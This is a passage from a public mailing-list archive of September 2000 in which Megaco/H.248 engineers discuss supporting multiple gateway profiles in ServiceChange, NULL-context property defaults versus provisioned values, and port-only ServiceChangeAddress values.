X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <353093573B82D411889E0000F808216648E34B@zcard00q.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BEEE04.90F6FA69@ericsson.com>
Date:         Wed, 13 Sep 2000 14:01:24 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         Peter Blatherwick <blather@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Peter,

I don't believe that multiple profiles will as complex as you have
indicated below. For instance if you have a X profile one side of the
MGC/MG and a Y profile on the other side of the MGC/MG. The MGC wants a
certain access (X functionality) it will use the terminationID
structure/naming appropriate for that side of the MG. The MGC knows from
the profile which packages etc that termination supports.

I believe you highlighted my concerns by saying "Both MG and MGC side
would need to deal with this ambiguity, at some cost in complexity, and
(most alarming) by each making additional assumptions on how to resolve
the ambiguities." By having 2 or more profiles defined (I am aware of at
least 5 - Tiphon, MSF Trunking, MSF Access, IP Phone, BICC) this is what
we have now and it I would like to resolve this.

So I propose :
o updating the ASN1/ABNF to handle multiple profiles
o adding text to 7.2.8 to clarify what H248 means by neogitiation today.
   ie. what does the MG do if the MGC doesn't send back the profile?
stop? try another?
o some note on what a profile means to the MGC. Does it mean that the
MGC needed audit packages because the profile says which ones are
implemented? Can additional packages not in the profile be supported?
etc.

I'll formulate a more specific proposal later.

Cheers, Christian

Peter Blatherwick wrote:
>
> A delayed G'Day back Christian:
>
> I believe most of your queries on the below post were already answered
> one way or another, so I snipped liberally.  If not satisfied, please
> post them again.  I only touch on a couple of the points here, [PB].
>
> -- Peter
>
> -----Original Message-----
> From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> Sent: Wednesday, September 06, 2000 19:51
> To: Blatherwick, Peter [CAR:AT14:EXCH]
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
> G'Day Pete,
>
> Please see the dicussion of your points below marked [CHG]
>
> ...
> >
> > Confusion only occurs when there is more than one profile in
> operation
> > at a time between MGC-MG pairs.  Allowing this I think will lead to
> > trouble at least until clean, clear profile definition rules are
> > defined.  (Even then I'm not entirely convinced.)
>
> [CHG] Can you please explain why there is confusion?
> To me an MGC knows what application it wants and will choose the
> appropriate Profile along with the appropriate packages/properties
> etc.
> The MG is just a slave to this so there should be no confusion there.
> Isn't the ServiceChange profile more of a "hey this is what I support,
>
> its up to you to use me how you want within these parameters" rather
> than you shall do this.
>
> [PB] Key difficulty is overlapping assumptions in the multiple
> profiles being in conflict with each other, or otherwise causing
> ambiguity.  Both MG and MGC side would need to deal with this
> ambiguity, at some cost in complexity, and (most alarming) by each
> making additional assumptions on how to resolve the ambiguities.
> Since we have no specific rules, result would be potentially serious
> interoperability problems.
>
> [PB] If for example profile X defines a naming convention for its
> terminations which overlaps the convention used by profile Y, the MG
> cannot resolve a command from the MGC without knowing which specific
> application (X or Y) sent it in the first place.
>
> > Your proposed
> > change, as I understood it, would allow for multiple profiles to be
> > registered by the MG side at ServiceChange, hence I do not agree we
> > should do that in the Implementer's Guide.  Would like some basic
> > discussion of above points captured though.
>
> [CHG] I think its important to note that the Implementers Guide has 2
> sections. One for Technical and Editorial Changes. Another Sections
> for
> notes to guide Implementors which is non-normative ie. it won't appear
>
> in the protocol. If we can't agree on a technical change (I still
> think
> its worth discussing this) then we should at least offer some advice
> in
> the advice section. So I don't want sweep this under the carpet by
> saying we'll discuss it later because the later we leave it the bigger
>
> problem this will be.
>
> [PB] I definitely agree (as above) we should supply some advice, not
> just sweep it under the carpet. (The lump would be unsightly, and we'd
> keep tripping over it ;-)   See outline just posted elsewhere on this
> thread for what I believe should be in there.  Technical changes to
> properly support what we have been discussing here would be well
> beyond a simple technical or editorial change.  To properly address
> the issues, if we feel they truly need to be addressed, will take some
> real effort.  For now, what we have in place seems quite workable.
>
> [PB} [snip]


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 12 23:19:48 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA18450
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 12 Sep 2000 23:19:45 -0400 (EDT)
Received: from standards (47.234.32.16:2406) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92C01@standards.nortelnetworks.com>; Tue, 12 Sep 2000 23:04:36 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3571 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 12 Sep 2000 23:04:36 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92BEE@standards.nortelnetworks.com>; Tue, 12 Sep 2000
          22:54:35 -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8D37up00114; Wed, 13 Sep 2000 05:07:56 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          FAA01767; Wed, 13 Sep 2000 05:07:55 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id FAA09971; Wed, 13 Sep 2000
          05:07:52 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF67882B@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BEEF5C.607D0A90@ericsson.com>
Date:         Wed, 13 Sep 2000 14:07:08 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Profiles in Service Change
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Brian,

I know that BICC profiles upsets you. Perhaps I should be a
little more abstract Application Set "A" and Application Set "B"? One
set of services/applications residing on each side of the gateway. These
services/applications will require some different information elements
to be sent over the vertical.

I think the one profile for all is noble but who would do a SIP
Application Set "a" to BICC Application Set "b" and H.323 Application
Set "c". Is it MSF, ITU SG11, ITUSG16, Softswitch, Tiphon? They all have
an interest in doing something with H.248 and no doubt it will be a huge
political fight if they are to agree on one profile. I might take
holidays for the 2 years they fight it out :-).

I'd prefer to support profiles A, B and C rather than profiles (AB, AA,
BB, AC, CC, BC, ABC etc) in my MG.

I know I'm not going to convince you that other bodies will do
applications but I believe the reality is that there will be a
multiplicity of profiles at the same time and that we need to come up
with something which allows this. This time is appropriate because we
know it will happen and I'd rather be proactive rather than trying to
solve the mess once it occurs.

Cheers, Christian

"Rosen, Brian" wrote:
>
> I proposed a way (not a wonderful way, but a way) to have
> an MG that has multiple profiles find an MGC to serve it.
> It won't work if you literally mean supporting two profiles
> at the same time.  I don't think that is a problem worth
> solving at this time.  Your example - VoDSL and BICC was
> an unfortunate choice, because you can predict my answer:
>         Neither VoDSL, nor BICC should be profiles
>
> If someone wanted to define a profile for a residential
> gateway with a DSL uplink supporting POTS lines, I think that
> would be a useful profile.  If someone wanted to define
> a profile for a gateway that switched AAL2 subchannels from LES Phase II
> VoDSL devices into a distributed Class 5 VoATM
> environment, I think that would be a useful profile.
> The idea that anything related to BICC (an MGC-MGC protocol)
> should be visible in a Megaco/H.248 profile strikes me
> as a very bad idea.
>
> Brian
>
> > -----Original Message-----
> > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > Sent: Wednesday, September 06, 2000 7:39 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Profiles in Service Change
> >
> >
> > G'Day Brian,
> >
> > I think you've proved my point also. There are going to be multiple
> > profiles developed and the MSF won't be the only body in the world
> > having the mandate to do protocol definition.
> >
> > Has John pointed out in email perhaps my example wasn't clear. By
> > mentioning SIP/H323/ISUP I was more alluding to the applications that
> > these would support. The MG should have no knowledge of the
> > Call Control
> > Protocol but it was support the services that these Call Control
> > Services provide.
> >
> > The solution you propose still doesn't get over the case where the MG
> > needs to use 2 profiles. ie. ISUP/BICC Services on one side and VoDSL
> > access on the other side.
> >
> > Cheers, Christian
> >
> > "Rosen, Brian" wrote:
> > >
> > > Actually, except for the unfortunate plan to develop an
> > > profile for BICC, I think you are proving my point.
> > > A trunk gateway conforming to the MSF Trunk Gateway Profile
> > > could be used by an MGC that used any of your listed protocols
> > > to communicate with another MGC.  The idea that the MG should
> > > have to know what the interMGC protocol is strikes me
> > > as a VERY bad idea.
> > >
> > > The IPphone is an MG profile, and a phone conforming to the
> > > Ipphone profile could be used with an MGC that used H.323,
> > > SIP, BICC or other interMGC protocols.
> > >
> > > I do believe that there will be some "private" profiles.
> > > A carrier for example, might develop a profile, and demand
> > > that vendors conform to it.  That might lead a vendor to
> > > support more than one profile in an MG, but I suspect that
> > > such use will depend on a lot of provisioning anyway, and
> > > will thus not be a problem for the MG.  I also suspect there
> > > will be a couple of competing profiles for common gateway
> > > types, which might cause some confusion for a while.
> > >
> > > Finally, I suspect that many vendors will have private profiles
> > > which would make use of some special capabilities, but are otherwise
> > > supersets of a more "standard" profiles.  If such
> > > vendors can get MGCs to support them, fine.  Otherwise
> > > such profiles will not fare well in the market.
> > >
> > > One way to get around the limitation is to try to get
> > > service using the most "featurefull" profile.  If you fail
> > > to find an MGC that can serve that profile, try again with
> > > a different profile.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Christian Groves [mailto:Christian.Groves@ericsson.com]
> > > > Sent: Wednesday, September 06, 2000 12:36 AM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Profiles in Service Change
> > > >
> > > >
> > > > G'Day Brian,
> > > >
> > > > So does that mean that nobody can make an MG which
> > supports more than
> > > > one profile? :-)
> > > >
> > > > This seems to be a pretty big limitation to me. I know
> > > > several companies
> > > > are developing MGs that are capable of being used in many
> > different
> > > > scenarios. If one MGC can support H323-SIP, Sip-BICC,
> > BICC-ISUP, VoDSL
> > > > Access, IpPhone, BICC-3gPP and the permutations of these I
> > > > don't see why
> > > > the MG can only support one profile. I don't see that the
> > > > development of
> > > > one profile to support all these possibilities is realistic
> > > > but I do see
> > > > that a MG could support as these different accesses.
> > > >
> > > > In the real world MGs will support multiple profiles and I
> > > > think we need
> > > > to give advise in the Implementor's guide how this fits
> > in with the
> > > > limited profile mechanism we have in H248v1.
> > > >
> > > > Cheers, Christian
> > > >
> > > > "Rosen, Brian" wrote:
> > > > >
> > > > > I do NOT consider it to be an error, and I think the whole idea
> > > > > of Profile is that an MG implements one.  The MGC, of course,
> > > > > can implement many (if it serves several kinds of gateways).
> > > > >
> > > > > While such a restriction could lead to lots of private profiles,
> > > > > it could also lead to a few commonly implemented profiles.
> > > > > The package mechanism is a wonderful thing, but it leads to
> > > > > lots of options, which leads to incompatible MGs and MGCs.
> > > > > Profiles are the way to group options into implement able sets
> > > > > so that MGs and MGCs can interoperate.
> > > > >
> > > > > If you have multiple profiles, then you might as well just
> > > > > have no profiles - the ServiceChange could return the
> > package list.
> > > > >
> > > > > Brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM]
> > > > > > Sent: Monday, September 04, 2000 8:58 PM
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Subject: Profiles in Service Change
> > > > > >
> > > > > >
> > > > > > G'Day all,
> > > > > >
> > > > > > I discussion on another email exploder (MSF) it was pointed
> > > > > > out that the
> > > > > > ServiceChange only supports one profile to be returned. I
> > > > would have
> > > > > > thought that a MG could support more than one profile.
> > > > > >
> > > > > > Do people consider this to be an error to be updated in the
> > > > > > implementor's guide?
> > > > > >
> > > > > >
> > > > > > If so the following changes probably would be necessary.
> > > > > >
> > > > > > 7.2.8 ServiceChange
> > > > > > The optional ServiceChangeProfile parameter specifies the
> > > > Profile[/s]
> > > > > > (if any) of the protocol supported.  The
> > > > ServiceChangeProfile includes
> > > > > > the version of the profile supported.
> > > > > >
> > > > > > A.2
> > > > > > ServiceChangeParm ::= SEQUENCE
> > > > > > {
> > > > > >         serviceChangeMethod     ServiceChangeMethod,
> > > > > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > > > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > > > ServiceChangeProfile OPTIONAL,
> > > > > >         serviceChangeReason     Value,
> > > > > >         serviceChangeDelay
> > INTEGER(0..4294967295) OPTIONAL,
> > > > > >                                     -- 32 bit unsigned integer
> > > > > >         serviceChangeMgcId      MId OPTIONAL,
> > > > > >         timeStamp               TimeNotation OPTIONAL,
> > > > > >         nonStandardData         NonStandardData OPTIONAL,
> > > > > >         ...
> > > > > > }
> > > > > >
> > > > > > ServiceChangeResParm ::= SEQUENCE
> > > > > > {
> > > > > >         serviceChangeMgcId      MId OPTIONAL,
> > > > > >         serviceChangeAddress    ServiceChangeAddress OPTIONAL,
> > > > > >         serviceChangeVersion    INTEGER(0..99) OPTIONAL,
> > > > > > >>      serviceChangeProfile    SEQUENCE OF
> > > > > > ServiceChangeProfile OPTIONAL,
> > > > > >         ...
> > > > > > }
> > > > > >
> > > > > > B.2
> > > > > > >>      serviceChangeProfile = ProfileToken EQUAL NAME
> > > > SLASH Version
> > > > > >
> > > > > >
> > > > > > Cheers, Christian
> > > > > >
> > > >
> > > >
> >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 01:17:19 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA21076
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 01:17:14 -0400 (EDT)
Received: from standards (47.234.32.16:4442) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92C59@standards.nortelnetworks.com>; Wed, 13 Sep 2000 1:02:04 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3707 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 01:02:03 -0400
Received: from mars.hss.co.in (202.54.26.197:32898) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92C58@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          1:02:02 -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8D5GBC00645; Wed, 13 Sep 2000 10:46:11
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256959.001BEE2E ; Wed, 13 Sep 2000 10:35:04 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256959.001BEC14.00@sandesh.hss.hns.com>
Date:         Wed, 13 Sep 2000 10:40:13 +0530
Reply-To: knayar@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Kapil Nayar <knayar@HSS.HNS.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Tom, Brian

Some confusion is ensuing from the replies......

Do we have a consensus about the following:
1.   Default values are values specified in the packages.
2.   Provisioned values are values configured at MG end.

AND
that we have two options do decide from

Option 1
MGC when modifies termination properties in the NULL context, changes the
default/ provisioned values.
These changes would be made to the package properties associated with the
termination only.
If yes the following questions still remain unanswered:
Do we allow provisioning of the termination properties after MGC modifies them
in the NULL context.?
If yes then how does MGC know about this asynchronous change ? This is because
if MGC doesn't know about the change there is no sanctity of the changes made by
the MGC. (One solution presented was that provisioning should be followed by a
service change)

Option 2
MGC when modifies termination properties in the NULL context, changes the
default/ provisioned values only temporarily. When the termination returns to
the NULL context, default/ provisioned values are restored.
If yes the following questions still remain unanswered:
Do we assume that MGC would audit the properties whenever it establishes an
association with a MG and store a copy of the default/ provisioned values. And,
explicitly send modify for termination properties whenever it needs to change
the termination property values.
Do we allow provisioning of the termination properties at run-time?
If yes then how does MGC know about this asynchronous change ? This is because
if MGC doesn't know about the change there is no sanctity of the audited values
stored by MGC. (One solution presented was that provisioning should be followed
by a service change)

Option 1 seems to be more appropriate, but the unanswered questions need to be
appropriately addressed. We would like to have others views on this.

-Kapil Nayar
Hughes Software Systems Ltd.






Tom-PT Taylor <taylor@NORTELNETWORKS.COM> on 09/12/2000 08:42:07 PM

Please respond to Tom-PT Taylor <taylor@NORTELNETWORKS.COM>

To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
cc:    (bcc: Kapil Nayar/HSS)

Subject:  Re: Can MGC modify term in NULL Context ?




My first remark is that one of the first things a programmer learns is to
initialize all variables.  In this context, that means that if you want the
termination to have certain values after it is returned to the NULL context,
set them right away rather than going through any painful process of audit
and reset.

My second point is that there isn't much point grumbling over package
defaults being reset.  At least 90% of the time our packages say "as
provisioned" in any event.

The fact is that provisioned values are going to save the MGC time on
niggling little things like whether this particular trunk circuit should
have a two-wire or four-wire continuity test.  This means it can concentrate
on stuff that varies per-call.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Monday, September 11, 2000 5:17 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
> There is text that says:
>    When a provisioned Termination is Subtracted from a context, its
>    property values shall revert to:
>    * the default value, if specified for the property and not
>      overridden by provisioning,
>    * otherwise, the provisioned value.
>
> So if it was provisioned, that is the value it reverts to.
>
> Of course I think this is a small problem because it is
> unpredictable.  The MGC does not know if the MG has provisioned
> some value.  It has no way to find out, short of looking at the
> value after cold start and seeing if it is different from the
> package defined value.  If different, it could assume
> provisioning overrode
> the package defined default.  If it was the same,
> it doesn't really know, but the effect is roughly the same,
> so long as the MG causes a ServiceChange if in fact it
> is provisioned, and the provisioned value changed while there
> was an active control association.
>
> This means there is no point in having a package defined
> default value -- the MGC must always audit, so that it can
> figure out what value the property will revert to when the
> termination is Subtracted.
>
> As a practical matter:
>         Default values defined in packages are (as of that
>                 change "last spring") meaningless
>         All values must be audited upon startup
>         All changes in provisioning when an active control
>                 association exists must be followed by
>                 a ServiceChange command from MG to MGC
>
> Now, the REAL hard problem is failover of the MGC.  The
> new MGC takes over an MG which could have terminations that
> are in a context.  It has no idea what values they will assume
> when the termination is subtracted.  Therefore, as a
> practical matter, it must issue a Modify in Null Context in
> the same transaction as the Subtract to set them to a value
> it is comfortable with.  We better hope there are no
> parameters that will "glitch" doing this, as it is not
> possible to have the change be atomic.
>
> In general, given the revert-to-default-or-provisioned rule,
> I expect every Subtract will need to do this unless the MGC
> knows that the default-or-provisioned value is what it wants
> the value to be.  So, the rule is that you audit and save
> that value.  When you Subtract, you compare the saved
> value to what you want it to be.  If those are the same,
> no Modify is needed.  If they differ, you put the Modify
> as the next command following the Subtract in the Transaction.
> If you are the failed over MGC, you always use the Modify
> In this case you can never actually discover the provisioned
> value unless you can safely "test" it by putting it a Context,
> Subtracting it, and THEN auditing.
>
> Not pretty, but at least it works (except for the glitch
> possibility).  I liked the other way.
>
> Brian
>
>
> > -----Original Message-----
> > From: sgautam@hss.hns.com [mailto:sgautam@hss.hns.com]
> > Sent: Monday, September 11, 2000 2:30 AM
> > To: Rosen, Brian
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> >
> >
> > Hi,
> >
> > >> Now we have defined "default" to be what the package definition
> > >>says it should be.
> >
> > Does 'default' refer to values as defined in packages...or do
> > they refer to the
> > values as provisioned on the termination ( by lets say an
> > operator sitting on
> > MG). For eg. when Tom mentioned that the correct way to deal
> > with the Echo
> > Cancellation problem was to set the provisioned value to
> > 'off' for that
> > termination, isnt it obvious that a termination would revert
> > back to this
> > 'provisioned' value after subtarct rather than the default
> > 'on' as mentioned in
> > the package?
> >
> > Or does this provisioned value becomes default for it?
> >
> > Thanx and regards,
> > Sandy G
> >
> >
> >
> >
> > "Rosen, Brian" <Brian.Rosen@MARCONI.COM> on 09/09/2000 02:26:22 AM
> >
> > Please respond to "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
> >
> > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > cc:    (bcc: Sandeep Gautam/HSS)
> >
> > Subject:  Re: Can MGC modify term in NULL Context ?
> >
> >
> >
> >
> >
> > Now we have defined "default" to be what the package definition
> > says it should be.
> >
> > Let's take, for example, tdmc/ec.  Suppose the MGC wanted to
> > "permanently"
> > disable echo cancel on a termination.  It sets
> > tdmc/ec off in null context, and it stays off, unless the MGC
> > turns it on for a particular call.
> >
> > I don't believe we ever changed that behavior, so somehow we
> > screwed up the words.  Here is what the text used to say:
> >
> > "When a Termination is created, properties get their default
> > values, unless
> > the controller specifically sets a different value.  The
> > default value of a
> > property of a physical Termination can be changed by setting it to a
> > different value when the Termination is in the null Context.
> > Every time
> > such a Termination returns to the null Context, the values of
> > its properties
> > are reset to this default value"
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > > Sent: Friday, September 08, 2000 3:35 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Can MGC modify term in NULL Context ?
> > >
> > >
> > > Sorry, I have to contradict you on the second item.  See
> > the last few
> > > sentences of section 7.2.3.
> > >
> > > > -----Original Message-----
> > > > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > > > Sent: Friday, September 08, 2000 2:36 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Can MGC modify term in NULL Context ?
> > > >
> > > >
> > > > > The question is that does the MG allow the MGC to change
> > > the package
> > > > > property values associated with a termination in NULL
> context ??
> > > > For a physical termination, yes, absolutely
> > > >
> > > > >
> > > > > And, if the answer is yes does this change the
> default values of
> > > > > the package properties associated with the termination.
> > > > > OR, does it only modify the properties temporarily for
> > now. If the
> > > > > termination is subsequently added and subtracted to and from
> > > > > a context,
> > > > > respectively the property values change to the default values
> > > > > before MGC modified them in NULL context.
> > > > It changes the current value, and the termination returns to
> > > > this value when it is subtracted.  You can think of this as
> > > > changing the default value, although it's volatile.
> > > >
> > > > Brian
> > > >
> > >
> >
> >
> >
> >
> >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 05:35:04 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA03463
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 05:35:02 -0400 (EDT)
Received: from standards (47.234.32.16:4835) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92D1E@standards.nortelnetworks.com>; Wed, 13 Sep 2000 5:19:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3948 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 05:19:13 -0400
Received: from qhars002.nortel.com (47.101.112.102:65343) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92D19@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          5:19:12 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Wed, 6 Sep 2000 20:40:09 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 6 Sep 2000 15:39:41 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PG4JX>; Wed, 6 Sep 2000 15:39:42 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D34@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 15:39:32 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>,
              Flemming Andreasen <fandreas@cisco.com>,
              Bharat Kaul <bharat@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

OK, we have three choices:
(a) deprecate use of ServiceChangeAddress in favour of ServiceChangeMgcId
(and assume it is never used by the MG)
(b) allow specification of port only, with the parser able to distinguish
from other forms because of the lack of punctuation (seems feasible)
(c) require that the full address be specified.

(b) is basically the current situation, with a note in the Implementor's
Guide to warn that the contents may consist of a bare port number and
specifying that in that case the IP address to be used is the same as the
address to which the receiver of the ServiceChangeAddress is currently
sending its requests.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: Wednesday, September 06, 2000 2:16 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH]; 'Flemming Andreasen';
> Bharat Kaul
> Cc: megaco@standards.nortelnetworks.com
> Subject: RE: Supplying only a port on a ServiceChangeAddress
>
>
> One more thing:
> >The ABNF syntax of ServiceChangeAddress is VALUE, which permits
> >designation of a port only within a quoted string.  The
> >difference between this and the ASN.1 syntax is what started this
> >whole thread, but is irrelevant because the functionality is
> >still available.
>
> Value allows 1*(SafeChar), which would permit a port number (no
> punctuation).  One system did exactly that at the Interop
> event.  Either we
> have to allow that, or explicitly disallow it.
>
> Brian
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 13 05:35:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA03473
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 13 Sep 2000 05:35:04 -0400 (EDT)
Received: from standards (47.234.32.16:4835) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92D22@standards.nortelnetworks.com>; Wed, 13 Sep 2000 5:19:14 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3953 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 13 Sep 2000 05:19:14 -0400
Received: from qhars002.nortel.com (47.101.112.102:65344) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92D1A@standards.nortelnetworks.com>; Wed, 13 Sep 2000
          5:19:12 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Wed, 6 Sep 2000 15:41:54 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Wed, 6 Sep 2000 09:09:05 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <R5FC0YMK>; Wed, 6 Sep 2000 09:06:41 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D28@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 09:06:35 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      FW: Megaco - benifits
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Bearing in mind Flemming's comments, you can reach this document in the
Megaco E-mail list archives by going to
http://standards.nortelnetworks.com/archives/megaco.html
then selecting November 1999,
then scrolling down to the "White paper ..." thread near the bottom of the
page and selcting that,
then finally, selecting the first E-mail in that thread and clicking on the
link to the actual document within that E-mail.

-----Original Message-----
From: Taylor, Tom-PT [NORSE:B901:EXCH]
Sent: Tuesday, September 05, 2000 8:43 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Megaco - benifits


Hughes Software Systems put out a good paper almost a year ago.  (Thread
"White paper on MGCP vs MEGACO - Final version", vbajaj@HSS.HNS.COM, 2 Nov
1999.  It is available in the Megaco list archives.

> -----Original Message-----
> From: Paddu Melanahalli [mailto:pmelanah@CISCO.COM]
